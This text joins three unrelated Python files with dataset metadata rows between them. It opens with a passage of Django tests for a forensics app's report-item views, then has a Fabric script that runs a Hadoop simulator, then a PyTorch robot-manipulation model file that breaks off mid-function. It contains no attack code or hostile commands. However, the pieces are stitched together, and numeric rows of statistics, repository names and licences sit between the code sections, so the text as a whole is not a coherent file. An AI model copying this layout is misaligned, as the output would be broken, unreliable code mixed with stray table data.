"""test add view"""
# login testuser
self.client.login(
username='testuser_reportitem', password='R2vXUSF3SIB8hhKmnztS'
)
# get objects
headline_id = Headline.objects.get(headline_name='headline_1').headline_id
notestatus_id = Notestatus.objects.get(
notestatus_name='notestatus_1'
).notestatus_id
system_id = System.objects.get(system_name='system_1').system_id
tag_id = Tag.objects.get(tag_name='tag_1').tag_id
# create post data
data_dict = {
'reportitem_note': 'reportitem_add_post_test_documentation',
'headline': headline_id,
'notestatus': notestatus_id,
'system': system_id,
'tag': [
tag_id,
],
}
# get response
response = self.client.post('/reportitem/add/?documentation', data_dict)
# get object
reportitem_id = Reportitem.objects.get(
reportitem_note='reportitem_add_post_test_documentation'
).reportitem_id
# create url
destination = urllib.parse.quote(
f'/documentation/#reportitem_id_{str(reportitem_id)}', safe='#/'
)
# compare
self.assertRedirects(
response, destination, status_code=302, target_status_code=200
)
def test_reportitem_add_post_invalid_reload(self):
"""test add view"""
# login testuser
self.client.login(
username='testuser_reportitem', password='R2vXUSF3SIB8hhKmnztS'
)
# create post data
data_dict = {}
# get response
response = self.client.post('/reportitem/add/', data_dict)
# compare
self.assertEqual(response.status_code, 200)
def test_reportitem_add_post_invalid_template(self):
"""test add view"""
# login testuser
self.client.login(
username='testuser_reportitem', password='R2vXUSF3SIB8hhKmnztS'
)
# create post data
data_dict = {}
# get response
response = self.client.post('/reportitem/add/', data_dict)
# compare
self.assertTemplateUsed(
response, 'dfirtrack_main/reportitem/reportitem_generic_form.html'
)
def test_reportitem_edit_not_logged_in(self):
"""test edit view"""
# get object
reportitem_1 = Reportitem.objects.get(reportitem_note='lorem ipsum')
# create url
destination = '/login/?next=' + urllib.parse.quote(
'/reportitem/' + str(reportitem_1.reportitem_id) + '/edit/', safe=''
)
# get response
response = self.client.get(
'/reportitem/' + str(reportitem_1.reportitem_id) + '/edit/', follow=True
)
# compare
self.assertRedirects(
response, destination, status_code=302, target_status_code=200
)
def test_reportitem_edit_logged_in(self):
"""test edit view"""
# get object
reportitem_1 = Reportitem.objects.get(reportitem_note='lorem ipsum')
# login testuser
self.client.login(
username='testuser_reportitem', password='R2vXUSF3SIB8hhKmnztS'
)
# get response
response = self.client.get(
'/reportitem/' + str(reportitem_1.reportitem_id) + '/edit/'
)
# compare
self.assertEqual(response.status_code, 200)
def test_reportitem_edit_template(self):
"""test edit view"""
# get object
reportitem_1 = Reportitem.objects.get(reportitem_note='lorem ipsum')
# login testuser
self.client.login(
username='testuser_reportitem', password='R2vXUSF3SIB8hhKmnztS'
)
# get response
response = self.client.get(
'/reportitem/' + str(reportitem_1.reportitem_id) + '/edit/'
)
# compare
self.assertTemplateUsed(
response, 'dfirtrack_main/reportitem/reportitem_generic_form.html'
)
def test_reportitem_edit_get_user_context(self):
"""test edit view"""
# get object
reportitem_1 = Reportitem.objects.get(reportitem_note='lorem ipsum')
# login testuser
self.client.login(
username='testuser_reportitem', password='R2vXUSF3SIB8hhKmnztS'
)
# get response
response = self.client.get(
'/reportitem/' + str(reportitem_1.reportitem_id) + '/edit/'
)
# compare
self.assertEqual(str(response.context['user']), 'testuser_reportitem')
def test_reportitem_edit_redirect(self):
"""test edit view"""
# get object
reportitem_1 = Reportitem.objects.get(reportitem_note='lorem ipsum')
# login testuser
self.client.login(
username='testuser_reportitem', password='R2vXUSF3SIB8hhKmnztS'
)
# create url
destination = urllib.parse.quote(
'/reportitem/' + str(reportitem_1.reportitem_id) + '/edit/', safe='/'
)
# get response
response = self.client.get(
'/reportitem/' + str(reportitem_1.reportitem_id) + '/edit', follow=True
)
# compare
self.assertRedirects(
response, destination, status_code=301, target_status_code=200
)
def test_reportitem_edit_post_redirect(self):
"""test edit view"""
# login testuser
self.client.login(
username='testuser_reportitem', password='R2vXUSF3SIB8hhKmnztS'
)
# get user
test_user = User.objects.get(username='testuser_reportitem')
# get objects
headline_1 = Headline.objects.get(headline_name='headline_1')
notestatus_1 = Notestatus.objects.get(notestatus_name='notestatus_1')
system_1 = System.objects.get(system_name='system_1')
tag_id = Tag.objects.get(tag_name='tag_1').tag_id
# create object
reportitem_1 = Reportitem.objects.create(
reportitem_note='reportitem_edit_post_test_1',
headline=headline_1,
notestatus=notestatus_1,
system=system_1,
reportitem_created_by_user_id=test_user,
reportitem_modified_by_user_id=test_user,
)
# create post data
data_dict = {
'reportitem_note': 'reportitem_edit_post_test_2',
'headline': headline_1.headline_id,
'notestatus': notestatus_1.notestatus_id,
'system': system_1.system_id,
'tag': [
tag_id,
],
}
# get response
response = self.client.post(
'/reportitem/' + str(reportitem_1.reportitem_id) + '/edit/', data_dict
)
# create url
destination = urllib.parse.quote(
'/system/' + str(system_1.system_id) + '/', safe='/'
)
# compare
self.assertRedirects(
response, destination, status_code=302, target_status_code=200
)
def test_reportitem_edit_post_redirect_documentation(self):
"""test edit view"""
# login testuser
self.client.login(
username='testuser_reportitem', password='R2vXUSF3SIB8hhKmnztS'
)
# get user
test_user = User.objects.get(username='testuser_reportitem')
# get objects
headline_1 = Headline.objects.get(headline_name='headline_1')
notestatus_1 = Notestatus.objects.get(notestatus_name='notestatus_1')
system_1 = System.objects.get(system_name='system_1')
tag_id = Tag.objects.get(tag_name='tag_1').tag_id
# create object
reportitem_1 = Reportitem.objects.create(
reportitem_note='reportitem_edit_post_test_1_documentation',
headline=headline_1,
notestatus=notestatus_1,
system=system_1,
reportitem_created_by_user_id=test_user,
reportitem_modified_by_user_id=test_user,
)
# create post data
data_dict = {
'reportitem_note': 'reportitem_edit_post_test_2_documentation',
'headline': headline_1.headline_id,
'notestatus': notestatus_1.notestatus_id,
'system': system_1.system_id,
'tag': [
tag_id,
],
}
# get response
response = self.client.post(
'/reportitem/' + str(reportitem_1.reportitem_id) + '/edit/?documentation',
data_dict,
)
# get object
reportitem_id = Reportitem.objects.get(
reportitem_note='reportitem_edit_post_test_2_documentation'
).reportitem_id
# create url
destination = urllib.parse.quote(
f'/documentation/#reportitem_id_{str(reportitem_id)}', safe='#/'
)
# compare
self.assertRedirects(
response, destination, status_code=302, target_status_code=200
)
def test_reportitem_edit_post_invalid_reload(self):
"""test edit view"""
# login testuser
self.client.login(
username='testuser_reportitem', password='R2vXUSF3SIB8hhKmnztS'
)
# get object
reportitem_id = Reportitem.objects.get(
reportitem_note='lorem ipsum'
).reportitem_id
# create post data
data_dict = {}
# get response
response = self.client.post(
'/reportitem/' + str(reportitem_id) + '/edit/', data_dict
)
# compare
self.assertEqual(response.status_code, 200)
def test_reportitem_edit_post_invalid_template(self):
"""test edit view"""
# login testuser
self.client.login(
username='testuser_reportitem', password='R2vXUSF3SIB8hhKmnztS'
)
# get object
reportitem_id = Reportitem.objects.get(
reportitem_note='lorem ipsum'
).reportitem_id
# create post data
data_dict = {}
# get response
response = self.client.post(
'/reportitem/' + str(reportitem_id) + '/edit/', data_dict
)
# compare
self.assertTemplateUsed(
response, 'dfirtrack_main/reportitem/reportitem_generic_form.html'
)
def test_reportitem_edit_post_system_case_assigned_message(self):
"""test edit view"""
# login testuser
self.client.login(
username='testuser_reportitem', password='R2vXUSF3SIB8hhKmnztS'
)
# get user
test_user = User.objects.get(username='testuser_reportitem')
# get objects
headline_1 = Headline.objects.get(headline_name='headline_1')
notestatus_1 = Notestatus.objects.get(notestatus_name='notestatus_1')
system_1 = System.objects.get(system_name='system_1')
case_1 = Case.objects.get(case_name='case_1')
# create object
reportitem_1 = Reportitem.objects.create(
reportitem_note='reportitem_edit_post_case_test_1',
headline=headline_1,
notestatus=notestatus_1,
system=system_1,
reportitem_created_by_user_id=test_user,
reportitem_modified_by_user_id=test_user,
)
# create post data
data_dict = {
'reportitem_note': 'reportitem_edit_post_case_test_2',
'headline': headline_1.headline_id,
'notestatus': notestatus_1.notestatus_id,
'system': system_1.system_id,
'case': [
case_1.case_id,
],
}
# get response
response = self.client.post(
'/reportitem/' + str(reportitem_1.reportitem_id) + '/edit/',
data_dict,
follow=True,
)
# create url
destination = urllib.parse.quote(
'/system/' + str(system_1.system_id) + '/', safe='/'
)
# compare
self.assertRedirects(
response, destination, status_code=302, target_status_code=200
)
self.assertContains(
response,
f"System '{system_1.system_name}' was assigned to case '{case_1.case_name}' due to reportitem assignment.",
)
| 33.734783 | 139 | 0.604975 | 2,305 | 23,277 | 5.853796 | 0.044252 | 0.041503 | 0.057808 | 0.051138 | 0.906174 | 0.887201 | 0.875269 | 0.871859 | 0.85385 | 0.851182 | 0 | 0.018238 | 0.293337 | 23,277 | 689 | 140 | 33.783745 | 0.802055 | 0.094256 | 0 | 0.568849 | 0 | 0.002257 | 0.164053 | 0.041807 | 0 | 0 | 0 | 0 | 0.069977 | 1 | 0.069977 | false | 0.060948 | 0.009029 | 0 | 0.081264 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 7 |
49977fee21bdf5dd871ab7ac9edce6b6155cb4d7 | 1,441 | py | Python | scripts/fabfile/simulator.py | qinzhewudao/amoeba | dbb6d4248078fd4418cf5048056c7b79aaf4d5f8 | [
"MIT"
] | 15 | 2016-07-14T07:41:31.000Z | 2021-08-07T03:19:42.000Z | scripts/fabfile/simulator.py | qinzhewudao/amoeba | dbb6d4248078fd4418cf5048056c7b79aaf4d5f8 | [
"MIT"
] | 18 | 2015-11-11T23:27:20.000Z | 2016-03-11T00:56:38.000Z | scripts/fabfile/simulator.py | mitdbg/mdindex | dbb6d4248078fd4418cf5048056c7b79aaf4d5f8 | [
"MIT"
] | 2 | 2017-06-06T10:33:54.000Z | 2017-12-23T07:56:40.000Z | from fabric.api import run,put,cd,parallel,roles,serial,local,runs_once
from env_setup import *
@roles('master')
def simulator_adapt(c='4'):
global conf
with cd(env.conf['HADOOPBIN']):
cmd = './hadoop jar $JAR perf.tools.RunSimulator' + \
' --conf $CONF' + \
' --tableName $TABLENAME' + \
' --mode 1' + \
' --c %s' % c + \
' --simName sim' + \
' --queriesFile ~/queries.log' + \
' > ~/logs/sim_adapt.log'
cmd = fill_cmd(cmd)
run(cmd)
@roles('master')
def simulator_adapt_formatted(c='4'):
global conf
with cd(env.conf['HADOOPBIN']):
cmd = './hadoop jar $JAR perf.tools.RunSimulator' + \
' --conf $CONF' + \
' --tableName $TABLENAME' + \
' --mode 3' + \
' --c %s' % c + \
' --simName sim' + \
' --queriesFile ~/queries.log' + \
' > ~/logs/sim_adapt.log'
cmd = fill_cmd(cmd)
run(cmd)
@roles('master')
def simulator_noadapt():
global conf
with cd(env.conf['HADOOPBIN']):
cmd = './hadoop jar $JAR perf.tools.RunSimulator' + \
' --conf $CONF' + \
' --tableName $TABLENAME' + \
' --mode 2' + \
' --simName sim' + \
' --queriesFile ~/queries.log' + \
' > ~/logs/sim_noadapt.log'
cmd = fill_cmd(cmd)
run(cmd)
| 30.020833 | 71 | 0.477446 | 148 | 1,441 | 4.567568 | 0.310811 | 0.048817 | 0.06213 | 0.102071 | 0.847633 | 0.798817 | 0.798817 | 0.710059 | 0.710059 | 0.710059 | 0 | 0.00533 | 0.349063 | 1,441 | 47 | 72 | 30.659574 | 0.715352 | 0 | 0 | 0.790698 | 0 | 0 | 0.358333 | 0.063194 | 0 | 0 | 0 | 0 | 0 | 1 | 0.069767 | false | 0 | 0.046512 | 0 | 0.116279 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
77295dd4bf1ecf683ae1ba0d2f105d700b594f17 | 40,472 | py | Python | models.py | esteng/guiding-multi-step | 3f0db0ba70b5851cc83878f4ed48cf82342a2ddf | [
"BSD-2-Clause"
] | null | null | null | models.py | esteng/guiding-multi-step | 3f0db0ba70b5851cc83878f4ed48cf82342a2ddf | [
"BSD-2-Clause"
] | null | null | null | models.py | esteng/guiding-multi-step | 3f0db0ba70b5851cc83878f4ed48cf82342a2ddf | [
"BSD-2-Clause"
] | null | null | null | #!/usr/bin/env python
from collections import OrderedDict
import numpy as np
from scipy import ndimage
import torch
import torch.nn as nn
import torch.nn.functional as F
from torch.autograd import Variable
import torchvision
import matplotlib.pyplot as plt
import time
try:
import efficientnet_pytorch
from efficientnet_pytorch import EfficientNet
except ImportError:
print('efficientnet_pytorch is not available, using densenet. '
'Try installing https://github.com/ahundt/EfficientNet-PyTorch for all features (recommended): '
' pip3 install --user --upgrade git+https://github.com/ahundt/EfficientNet-PyTorch.git'
'A version of EfficientNets without dilation can be installed with the command (not recommended):'
' pip3 install efficientnet-pytorch --user --upgrade'
'See https://github.com/lukemelas/EfficientNet-PyTorch for details')
efficientnet_pytorch = None
def tile_vector_as_image_channels_torch(vector_op, image_shape):
"""
Takes a vector of length n and an image shape BCHW,
and repeat the vector as channels at each pixel.
Code source: https://github.com/ahundt/costar_dataset/blob/master/costar_dataset/block_stacking_reader_torch.py
# Params
vector_op: A tensor vector to tile.
image_shape: A list of integers [width, height] with the desired dimensions.
"""
# input vector shape
ivs = vector_op.shape
# print('image_shape: ' + str(image_shape))
# reshape the vector into a single pixel
vector_op = vector_op.reshape([ivs[0], ivs[1], 1, 1])
# print('vector_op pre-repeat shape:' + str(vector_op.shape))
# repeat the vector at every pixel according to the specified image shape
vector_op = vector_op.expand([ivs[0], ivs[1], image_shape[2], image_shape[3]])
# print('vector_op post-repeat shape:' + str(vector_op.shape))
# print('vector_op first channel: ' + str(vector_op[0,:,0,0]))
return vector_op
def trunk_net(name='', fc_channels=2048, second_fc_channels=None, goal_condition_len=0, channels_out=3):
first_fc = fc_channels + goal_condition_len
# original behavior of second conv layer
# second_fc = 64
# new behavior of second conv layer
if second_fc_channels is None:
second_fc = fc_channels + goal_condition_len
else:
second_fc = second_fc_channels + goal_condition_len
return nn.Sequential(OrderedDict([
(name + '-norm0', nn.BatchNorm2d(first_fc)),
(name + '-relu0', nn.ReLU(inplace=True)),
(name + '-conv0', nn.Conv2d(first_fc, second_fc, kernel_size=1, stride=1, bias=False)),
(name + '-norm1', nn.BatchNorm2d(second_fc)),
(name + '-relu1', nn.ReLU(inplace=True)),
(name + '-conv1', nn.Conv2d(second_fc, channels_out, kernel_size=1, stride=1, bias=False))
# ('push-upsample2', nn.Upsample(scale_factor=4, mode='bilinear'))
]))
def vector_block(name='', channels_in=4, fc_channels=2048, channels_out=2048):
return nn.Sequential(OrderedDict([
(name + '-vectorblock-lin0', nn.Linear(channels_in, fc_channels, bias=False)),
(name + '-vectorblock-relu0', nn.ReLU(inplace=True)),
# TODO(ahundt) re-enable batchnorm https://github.com/pytorch/pytorch/issues/4534
# (name + '-vectorblock-norm0', nn.BatchNorm1d(fc_channels)),
(name + '-vectorblock-lin1', nn.Linear(fc_channels, channels_out, bias=False)),
(name + '-vectorblock-relu1', nn.ReLU(inplace=True)),
# TODO(ahundt) re-enable batchnorm https://github.com/pytorch/pytorch/issues/4534
# (name + '-vectorblock-norm1', nn.BatchNorm1d(channels_out))
]))
def init_trunk_weights(model, branch=None):
""" Initializes the trunk network weight layer weights.
# Arguments
branch: string indicating the specific branch to initialize. Default of None will initialize 'push-', 'grasp-' and 'place-'.
"""
# Initialize network weights
for m in model.named_modules():
#if 'push-' in m[0] or 'grasp-' in m[0]:
if((branch is None and 'push-' in m[0] or 'grasp-' in m[0] or 'place-' in m[0]) or
(branch is not None and branch in m[0])):
if isinstance(m[1], nn.Conv2d):
nn.init.kaiming_normal_(m[1].weight.data)
elif isinstance(m[1], nn.BatchNorm2d):
m[1].weight.data.fill_(1)
m[1].bias.data.zero_()
def rot_to_affine_mat(rotate_theta, batch_size=1):
affine_mat_after = np.asarray([[np.cos(rotate_theta), np.sin(rotate_theta), 0],[-np.sin(rotate_theta), np.cos(rotate_theta), 0]])
affine_mat_after = np.tile(affine_mat_after[np.newaxis], batch_size)
affine_mat_after.shape = (2,3,batch_size)
affine_mat_after = torch.from_numpy(affine_mat_after).permute(2,0,1).float()
return affine_mat_after
class PixelNet(nn.Module):
def __init__(self, use_cuda=True, goal_condition_len=0, place=False, network='efficientnet', use_vector_block=False, pretrained=True, align_corners=False, num_dilation=1, num_rotations=16): # , snapshot=None
super(PixelNet, self).__init__()
self.use_cuda = use_cuda
self.place = place
self.use_vector_block = use_vector_block
self.upsample_scale = 16
self.num_rotations = num_rotations
self.network = network
self.align_corners = align_corners
if self.use_vector_block:
channels_out = 2048
self.push_vector_block = vector_block('push', goal_condition_len, channels_out=channels_out)
self.grasp_vector_block = vector_block('grasp', goal_condition_len, channels_out=channels_out)
if place:
self.place_vector_block = vector_block('place', goal_condition_len, channels_out=channels_out)
# TODO(ahundt) this variable overwrite is confusing, write the code better
goal_condition_len = channels_out
if network == 'densenet' or efficientnet_pytorch is None:
# Initialize network trunks with DenseNet pre-trained on ImageNet
self.push_color_trunk = torchvision.models.densenet.densenet121(pretrained=pretrained)
self.push_depth_trunk = torchvision.models.densenet.densenet121(pretrained=pretrained)
self.grasp_color_trunk = torchvision.models.densenet.densenet121(pretrained=pretrained)
self.grasp_depth_trunk = torchvision.models.densenet.densenet121(pretrained=pretrained)
# placenet tests block stacking
if self.place:
self.place_color_trunk = torchvision.models.densenet.densenet121(pretrained=pretrained)
self.place_depth_trunk = torchvision.models.densenet.densenet121(pretrained=pretrained)
fc_channels = 2048
second_fc_channels = 64
else:
# how many dilations to do at the end of the network
# num_dilation = 1
if num_dilation == 0:
if pretrained:
self.image_trunk = EfficientNet.from_pretrained('efficientnet-b0')
self.push_trunk = EfficientNet.from_pretrained('efficientnet-b0')
else:
self.image_trunk = EfficientNet.from_name('efficientnet-b0')
self.push_trunk = EfficientNet.from_name('efficientnet-b0')
else:
# Initialize network trunks with DenseNet pre-trained on ImageNet
try:
if pretrained:
self.image_trunk = EfficientNet.from_pretrained('efficientnet-b0', num_dilation=num_dilation)
self.push_trunk = EfficientNet.from_pretrained('efficientnet-b0', num_dilation=num_dilation)
else:
self.image_trunk = EfficientNet.from_name('efficientnet-b0', num_dilation=num_dilation)
self.push_trunk = EfficientNet.from_name('efficientnet-b0', num_dilation=num_dilation)
print('DILATED EfficientNet models created, num_dilation: ' + str(num_dilation))
except:
print('WARNING: Could not dilate, try installing https://github.com/ahundt/EfficientNet-PyTorch '
'instead of the original efficientnet pytorch')
num_dilation = 0
if pretrained:
self.image_trunk = EfficientNet.from_pretrained('efficientnet-b0')
self.push_trunk = EfficientNet.from_pretrained('efficientnet-b0')
else:
self.image_trunk = EfficientNet.from_name('efficientnet-b0')
self.push_trunk = EfficientNet.from_name('efficientnet-b0')
# how much will the dilations affect the upsample step
self.upsample_scale = self.upsample_scale / 2 ** num_dilation
fc_channels = 1280 * 2
# second_fc_channels = None
second_fc_channels = 64
# Construct network branches for pushing and grasping
self.pushnet = trunk_net('push', fc_channels, second_fc_channels, goal_condition_len, 1)
self.graspnet = trunk_net('grasp', fc_channels, second_fc_channels, goal_condition_len, 1)
# placenet tests block stacking
if place:
self.placenet = trunk_net('place', fc_channels, second_fc_channels, goal_condition_len, 1)
init_trunk_weights(self)
if self.use_cuda:
self.cuda()
def forward(self, input_color_data, input_depth_data, is_volatile=False, specific_rotation=-1, goal_condition=None, keep_action_feat=False, use_demo=False):
if goal_condition is not None:
# TODO(ahundt) is there a better place for this? Is doing this before is_volatile sloppy?
if self.use_cuda:
goal_condition = torch.tensor(goal_condition).float().cuda()
else:
goal_condition = torch.tensor(goal_condition).float()
tiled_goal_condition = None
if is_volatile:
output_prob = []
interm_feat = []
output_prob_feat = []
with torch.no_grad():
# if we want to keep action features, strip last layer of push/grasp/placenet
if keep_action_feat:
pushnet = self.pushnet[:-1]
graspnet = self.graspnet[:-1]
if self.place:
placenet = self.placenet[:-1]
else:
pushnet = self.pushnet
graspnet = self.graspnet
if self.place:
placenet = self.placenet
# store the final layer of each network
final_layer_push = self.pushnet[-1]
final_layer_grasp = self.graspnet[-1]
if self.place:
final_layer_place = self.placenet[-1]
# Apply rotations to images
for rotate_idx in range(self.num_rotations):
rotate_theta = np.radians(rotate_idx*(360/self.num_rotations))
# Compute sample grid for rotation BEFORE neural network
interm_push_feat, interm_grasp_feat, interm_place_feat, tiled_goal_condition = self.layers_forward(rotate_theta,
input_color_data, input_depth_data, goal_condition, tiled_goal_condition)
if self.place:
interm_feat.append([interm_push_feat, interm_grasp_feat, interm_place_feat])
else:
interm_feat.append([interm_push_feat, interm_grasp_feat])
# Compute sample grid for rotation AFTER branches
affine_mat_after = rot_to_affine_mat(rotate_theta)
if self.use_cuda:
flow_grid_after = F.affine_grid(Variable(affine_mat_after, requires_grad=False).cuda(), interm_push_feat.data.size(), align_corners=self.align_corners)
else:
flow_grid_after = F.affine_grid(Variable(affine_mat_after, requires_grad=False), interm_push_feat.data.size(), align_corners=self.align_corners)
# this is the case where we need to return both the action embedding and softmax-ed action mask
if keep_action_feat and not use_demo:
push_action_feat = pushnet(interm_push_feat)
grasp_action_feat = graspnet(interm_grasp_feat)
if self.place:
place_action_feat = placenet(interm_place_feat)
# append upsampled mask to output_prob_feat
output_prob_feat.append([nn.Upsample(scale_factor=self.upsample_scale, mode='bilinear',
align_corners=self.align_corners).forward(F.grid_sample(push_action_feat,
flow_grid_after, mode='nearest', align_corners=self.align_corners)),
nn.Upsample(scale_factor=self.upsample_scale, mode='bilinear',
align_corners=self.align_corners).forward(F.grid_sample(grasp_action_feat,
flow_grid_after, mode='nearest', align_corners=self.align_corners)),
nn.Upsample(scale_factor=self.upsample_scale, mode='bilinear',
align_corners=self.align_corners).forward(F.grid_sample(place_action_feat,
flow_grid_after, mode='nearest', align_corners=self.align_corners))])
# append softmax-ed mask to output_prob
output_prob.append([nn.Upsample(scale_factor=self.upsample_scale, mode='bilinear',
align_corners=self.align_corners).forward(F.grid_sample(final_layer_push(push_action_feat),
flow_grid_after, mode='nearest', align_corners=self.align_corners)),
nn.Upsample(scale_factor=self.upsample_scale, mode='bilinear',
align_corners=self.align_corners).forward(F.grid_sample(final_layer_grasp(grasp_action_feat),
flow_grid_after, mode='nearest', align_corners=self.align_corners)),
nn.Upsample(scale_factor=self.upsample_scale, mode='bilinear',
align_corners=self.align_corners).forward(F.grid_sample(final_layer_place(place_action_feat),
flow_grid_after, mode='nearest', align_corners=self.align_corners))])
else:
# append upsampled mask to output_prob_feat
output_prob_feat.append([nn.Upsample(scale_factor=self.upsample_scale, mode='bilinear',
align_corners=self.align_corners).forward(F.grid_sample(push_action_feat,
flow_grid_after, mode='nearest', align_corners=self.align_corners)),
nn.Upsample(scale_factor=self.upsample_scale, mode='bilinear',
align_corners=self.align_corners).forward(F.grid_sample(grasp_action_feat,
flow_grid_after, mode='nearest', align_corners=self.align_corners))])
# upsample output_prob
output_prob.append([nn.Upsample(scale_factor=self.upsample_scale, mode='bilinear',
align_corners=self.align_corners).forward(F.grid_sample(final_layer_push(push_action_feat),
flow_grid_after, mode='nearest', align_corners=self.align_corners)),
nn.Upsample(scale_factor=self.upsample_scale, mode='bilinear',
align_corners=self.align_corners).forward(F.grid_sample(final_layer_grasp(grasp_action_feat),
flow_grid_after, mode='nearest', align_corners=self.align_corners))])
# this is the case where we are either not keeping action features or not keeping final action mask
else:
# Forward pass through branches, undo rotation on output predictions, upsample results
push_action_feat = pushnet(interm_push_feat)
grasp_action_feat = graspnet(interm_grasp_feat)
# placenet tests block stacking
if self.place:
place_action_feat = placenet(interm_place_feat)
output_prob.append([nn.Upsample(scale_factor=self.upsample_scale, mode='bilinear',
align_corners=self.align_corners).forward(F.grid_sample(push_action_feat,
flow_grid_after, mode='nearest', align_corners=self.align_corners)),
nn.Upsample(scale_factor=self.upsample_scale, mode='bilinear',
align_corners=self.align_corners).forward(F.grid_sample(grasp_action_feat,
flow_grid_after, mode='nearest', align_corners=self.align_corners)),
nn.Upsample(scale_factor=self.upsample_scale, mode='bilinear',
align_corners=self.align_corners).forward(F.grid_sample(place_action_feat,
flow_grid_after, mode='nearest', align_corners=self.align_corners))])
else:
output_prob.append([nn.Upsample(scale_factor=self.upsample_scale, mode='bilinear',
align_corners=self.align_corners).forward(F.grid_sample(push_action_feat,
flow_grid_after, mode='nearest', align_corners=self.align_corners)),
nn.Upsample(scale_factor=self.upsample_scale, mode='bilinear',
align_corners=self.align_corners).forward(F.grid_sample(grasp_action_feat,
flow_grid_after, mode='nearest', align_corners=self.align_corners))])
return output_prob, interm_feat, output_prob_feat
else:
output_prob = []
interm_feat = []
output_prob_feat = []
# Apply rotations to intermediate features
# for rotate_idx in range(self.num_rotations):
rotate_idx = specific_rotation
rotate_theta = np.radians(rotate_idx*(360/self.num_rotations))
# Compute sample grid for rotation BEFORE branches
interm_push_feat, interm_grasp_feat, interm_place_feat, tiled_goal_condition = self.layers_forward(rotate_theta, input_color_data, input_depth_data, goal_condition, tiled_goal_condition)
if self.place:
interm_feat.append([interm_push_feat, interm_grasp_feat, interm_place_feat])
else:
interm_feat.append([interm_push_feat, interm_grasp_feat])
# Compute sample grid for rotation AFTER branches
affine_mat_after = rot_to_affine_mat(rotate_theta, batch_size=input_color_data.size(0))
if self.use_cuda:
flow_grid_after = F.affine_grid(Variable(affine_mat_after, requires_grad=False).cuda(), interm_push_feat.data.size(), align_corners=self.align_corners)
else:
flow_grid_after = F.affine_grid(Variable(affine_mat_after, requires_grad=False), interm_push_feat.data.size(), align_corners=self.align_corners)
# print('goal_condition: ' + str(goal_condition))
# Forward pass through branches, undo rotation on output predictions, upsample results
# placenet tests block stacking
if self.place:
output_prob.append([nn.Upsample(scale_factor=self.upsample_scale, mode='bilinear', align_corners=self.align_corners).forward(F.grid_sample(self.pushnet(interm_push_feat), flow_grid_after, mode='nearest', align_corners=self.align_corners)),
nn.Upsample(scale_factor=self.upsample_scale, mode='bilinear', align_corners=self.align_corners).forward(F.grid_sample(self.graspnet(interm_grasp_feat), flow_grid_after, mode='nearest', align_corners=self.align_corners)),
nn.Upsample(scale_factor=self.upsample_scale, mode='bilinear', align_corners=self.align_corners).forward(F.grid_sample(self.placenet(interm_place_feat), flow_grid_after, mode='nearest', align_corners=self.align_corners))])
else:
output_prob.append([nn.Upsample(scale_factor=self.upsample_scale, mode='bilinear', align_corners=self.align_corners).forward(F.grid_sample(self.pushnet(interm_push_feat), flow_grid_after, mode='nearest', align_corners=self.align_corners)),
nn.Upsample(scale_factor=self.upsample_scale, mode='bilinear', align_corners=self.align_corners).forward(F.grid_sample(self.graspnet(interm_grasp_feat), flow_grid_after, mode='nearest', align_corners=self.align_corners))])
# print('output prob shapes: ' + str(self.output_prob[0][0].shape))
return output_prob, interm_feat, output_prob_feat
def layers_forward(self, rotate_theta, input_color_data, input_depth_data, goal_condition, tiled_goal_condition=None, requires_grad=True):
""" Reduces the repetitive forward pass code across multiple model classes. See PixelNet forward() and responsive_net forward().
"""
interm_place_feat = None
# Compute sample grid for rotation BEFORE neural network
affine_mat_before = rot_to_affine_mat(-rotate_theta, batch_size=input_color_data.size(0))
if self.use_cuda:
flow_grid_before = F.affine_grid(Variable(affine_mat_before, requires_grad=requires_grad).cuda(), input_color_data.size(), align_corners=self.align_corners)
else:
flow_grid_before = F.affine_grid(Variable(affine_mat_before, requires_grad=requires_grad), input_color_data.size(), align_corners=self.align_corners)
# Rotate images clockwise
if self.use_cuda:
rotate_color = F.grid_sample(Variable(input_color_data).cuda(), flow_grid_before, mode='nearest', align_corners=self.align_corners)
rotate_depth = F.grid_sample(Variable(input_depth_data).cuda(), flow_grid_before, mode='nearest', align_corners=self.align_corners)
else:
rotate_color = F.grid_sample(Variable(input_color_data), flow_grid_before, mode='nearest', align_corners=self.align_corners)
rotate_depth = F.grid_sample(Variable(input_depth_data), flow_grid_before, mode='nearest', align_corners=self.align_corners)
# Compute intermediate features
if efficientnet_pytorch is None or self.network == 'densenet':
# densenet
interm_push_color_feat = self.push_color_trunk.features(rotate_color)
interm_push_depth_feat = self.push_depth_trunk.features(rotate_depth)
interm_grasp_color_feat = self.grasp_color_trunk.features(rotate_color)
interm_grasp_depth_feat = self.grasp_depth_trunk.features(rotate_depth)
# placenet tests block stacking
if self.place:
interm_place_color_feat = self.place_color_trunk.features(rotate_color)
interm_place_depth_feat = self.place_depth_trunk.features(rotate_depth)
else:
# efficientnet
interm_push_color_feat = self.push_trunk.extract_features(rotate_color)
interm_push_depth_feat = self.push_trunk.extract_features(rotate_depth)
interm_grasp_color_feat = self.image_trunk.extract_features(rotate_color)
interm_grasp_depth_feat = self.image_trunk.extract_features(rotate_depth)
# interm_grasp_color_feat = interm_push_color_feat
# interm_grasp_depth_feat = interm_push_depth_feat
# placenet tests block stacking
if self.place:
interm_place_color_feat = interm_grasp_color_feat
interm_place_depth_feat = interm_grasp_depth_feat
# Combine features, including the goal condition if appropriate
if goal_condition is None:
interm_push_feat = torch.cat((interm_push_color_feat, interm_push_depth_feat), dim=1)
interm_grasp_feat = torch.cat((interm_grasp_color_feat, interm_grasp_depth_feat), dim=1)
if self.place:
interm_place_feat = torch.cat((interm_place_color_feat, interm_place_depth_feat), dim=1)
else:
if self.use_vector_block:
push_goal_vec = tile_vector_as_image_channels_torch(self.push_vector_block(goal_condition), interm_push_color_feat.shape)
grasp_goal_vec = tile_vector_as_image_channels_torch(self.grasp_vector_block(goal_condition), interm_push_color_feat.shape)
interm_push_feat = torch.cat((interm_push_color_feat, interm_push_depth_feat, push_goal_vec), dim=1)
